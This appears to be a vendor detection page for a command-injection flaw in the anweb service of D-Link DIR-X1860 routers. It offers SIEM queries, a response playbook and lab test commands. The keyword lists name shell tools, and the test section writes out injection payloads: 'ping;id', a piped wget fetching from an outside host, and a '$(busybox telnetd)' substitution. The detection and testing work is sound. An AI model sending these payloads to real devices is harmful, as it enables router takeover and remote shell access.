Skip to content
CVE-2026-135788

D-Link DIR-X1860 anweb OS Command Injection (CVE-2026-135788)

Initial Access Execution Last updated:

CVE-2026-135788 is a command injection weakness (CWE-77, CWE-78) in /usr/sbin/anweb on D-Link DIR-X1860 firmware 4.5.2. An attacker can send a crafted request that manipulates an unknown function in anweb, resulting in OS command injection. The attack can be launched remotely. A public exploit exists and has been used in attacks. NVD lists a CVSS 4.0 base score of 8.6. This detection focuses on network-facing HTTP request patterns containing shell metacharacters, upstream syslog/proxy capture, and any downstream process or command execution originating from the device, correlated against perimeter and web-proxy logs.

Based on D-Link DIR-X1860 4.5.2 RCE write-up (nenghun/IoT)

Vulnerability Intelligence

Theoretical

What is CVE-2026-135788 D-Link DIR-X1860 anweb OS Command Injection (CVE-2026-135788)?

D-Link DIR-X1860 anweb OS Command Injection (CVE-2026-135788) (CVE-2026-135788) maps to the Initial Access and Execution tactics — the adversary is trying to get into your network in MITRE ATT&CK.

This page provides production-ready detection logic for D-Link DIR-X1860 anweb OS Command Injection (CVE-2026-135788), covering the data sources and telemetry it touches: Network Web Proxy, Syslog (CEF), Firewall. The queries below are rated critical severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Initial Access Execution
Microsoft Sentinel / Defender
kusto
// df00tech DF00-072c5b0973 · https://df00tech.com/detections/CVE-2026-135788 · licence: https://df00tech.com/detections/licence
let shellMeta = dynamic([";","|","&&","`","$(","%3B","%7C","%26","%60","wget ","curl ","busybox","nc ","/bin/sh","telnetd"]);
CommonSecurityLog
| where DeviceVendor has "D-Link" or DestinationHostName has_any ("anweb") or RequestURL has "anweb"
| where RequestURL has_any (shellMeta) or RequestClientApplication has_any (shellMeta) or AdditionalExtensions has_any (shellMeta)
| extend DecodedUrl = url_decode(RequestURL)
| where DecodedUrl matches regex @"[;|&`]|\$\(|/bin/sh|busybox|wget\s|curl\s|telnetd"
| project TimeGenerated, SourceIP, DestinationIP, DestinationHostName, RequestURL, DecodedUrl, RequestMethod, DeviceVendor, DeviceProduct
| order by TimeGenerated desc

Searches CEF/syslog web traffic for HTTP requests targeting the anweb service on D-Link DIR-X1860 devices that contain shell metacharacters or command-download payloads indicative of CVE-2026-135788 command injection.

critical severity medium confidence

Data Sources

Network Web Proxy Syslog (CEF) Firewall

Required Tables

CommonSecurityLog

False Positives

  • Legitimate administrative scripts or monitoring tools that embed URL-encoded characters in query strings.
  • Security scanners and vulnerability assessment tools (e.g. Nessus, Qualys) probing the device with metacharacter payloads.
  • Penetration-test or red-team activity against the router during authorized assessments.

Query fingerprint DF00-072c5b0973 · licence

Sigma logsource & community rules

The detection logic for D-Link DIR-X1860 anweb OS Command Injection (CVE-2026-135788) (CVE-2026-135788) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  category: network_connection
  product: windows

Browse the community-maintained Sigma rules for this technique:


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 Simulated anweb command injection via metacharacter in URL

    Expected signal: Proxy/firewall log entry showing an HTTP request to an anweb URL containing a ';' metacharacter.

  2. Test 2 URL-encoded pipe injection to anweb

    Expected signal: Web proxy record with %7C and 'wget' in the request URL to anweb.

  3. Test 3 Command-substitution payload against anweb (Windows test host)

    Expected signal: Proxy/firewall log of an HTTP request to anweb containing '$(' and 'busybox telnetd'.


Response Playbook

Triage

  1. Confirm the destination device is a D-Link DIR-X1860 running firmware 4.5.2 by checking asset inventory and the device banner/management page.
  2. Decode the full HTTP request URL and body to extract the exact shell metacharacters and injected command(s) targeting the anweb service.
  3. Determine whether the request received an HTTP 200/success response or shows signs of the injected command executing (e.g. outbound wget/curl/telnetd from the router shortly after).
  4. Assess the source IP: is it internal, a known scanner, or an external/unexpected host?

Containment

  1. Block the offending source IP(s) at the perimeter firewall and restrict WAN-side access to the router's management/anweb port.
  2. Isolate the affected router from sensitive network segments and, if compromise is confirmed, take it offline pending firmware remediation.

Evidence Collection

  1. Capture and preserve the full HTTP request (headers, URL, body) and corresponding proxy/firewall/syslog records.
  2. Export the router's syslog, configuration, and any available process/boot logs before reboot or reset to preserve indicators of persistence.

Escalation Criteria

  • ! Escalate to incident response if the injected command executed successfully (evidence of outbound download, new listening service such as telnetd, or configuration change).
  • ! Escalate if the exploit source is external/unknown or if multiple routers show the same injection pattern, indicating active mass exploitation.

Investigation Guide

Forensic Artifacts

  • > Router syslog entries from the anweb process around the time of the request
  • > Outbound network connections from the router (wget/curl/tftp/telnetd) following the request
  • > Modified router configuration, new user accounts, or altered startup scripts in NVRAM/flash

Tuning Guidance

Baseline legitimate management traffic to the router and whitelist known admin hosts and authorized scanner IPs to reduce noise. Tighten the metacharacter regex if the environment uses encoded characters in legitimate query strings. Prioritize alerts where the request originates from the WAN side or where a successful outbound download/connection from the router follows the request, since post-exploitation telemetry greatly raises confidence.


Hunting Queries

Hunt for clusters of anweb requests containing shell metacharacters grouped by source to reveal scanning or repeated exploitation attempts.

Hunting — KQL
kql
// df00tech DF00-072c5b0973 · https://df00tech.com/detections/CVE-2026-135788 · licence: https://df00tech.com/detections/licence
CommonSecurityLog | where RequestURL has "anweb" | extend d=url_decode(RequestURL) | where d matches regex @"[;|&`]|\$\(" | summarize count() by SourceIP, bin(TimeGenerated, 1h)
Hunting — SPL
spl
``` df00tech DF00-072c5b0973 · https://df00tech.com/detections/CVE-2026-135788 · licence: https://df00tech.com/detections/licence ```
index=proxy "anweb" | eval d=urldecode(url) | regex d="[;|&`]|\$\(" | stats count by src_ip, date_hour

Atomic Red Team Tests

Test 1 Simulated anweb command injection via metacharacter in URL
linux

Sends an HTTP request to a lab DIR-X1860 (or emulated anweb endpoint) with a semicolon-separated injected command to validate detection of command-injection payloads.

Command

bash
curl -s -m 5 "http://192.0.2.10/anweb/cgi?cmd=ping;id" || true

Cleanup

bash
echo 'No persistent change; clear any proxy test logs if required'

Expected Telemetry

Proxy/firewall log entry showing an HTTP request to an anweb URL containing a ';' metacharacter.

Expected Detection

KQL/SPL rule fires on the decoded URL containing shell metacharacters targeting anweb.

Test 2 URL-encoded pipe injection to anweb
linux

Sends a URL-encoded pipe (%7C) payload to the anweb endpoint to verify the detection decodes and matches encoded metacharacters.

Command

bash
curl -s -m 5 "http://192.0.2.10/anweb/cgi?arg=test%7Cwget%20http://198.51.100.5/x" || true

Cleanup

bash
rm -f ./x 2>/dev/null; true

Expected Telemetry

Web proxy record with %7C and 'wget' in the request URL to anweb.

Expected Detection

Rule decodes %7C to '|' and matches the wget download pattern.

Test 3 Command-substitution payload against anweb (Windows test host)
windows

From a Windows test host, issues an HTTP request with a $() command-substitution payload to the anweb endpoint to confirm detection coverage across request sources.

Command

powershell
powershell -c "try { Invoke-WebRequest -UseBasicParsing -TimeoutSec 5 -Uri 'http://192.0.2.10/anweb/cgi?p=$(busybox telnetd)' } catch {}"

Cleanup

powershell
echo 'No cleanup required - request only'

Expected Telemetry

Proxy/firewall log of an HTTP request to anweb containing '$(' and 'busybox telnetd'.

Expected Detection

Rule matches the command-substitution and busybox/telnetd indicators in the anweb request.

Related Detections

Browse by tactic

Full ATT&CK matrix Search all detections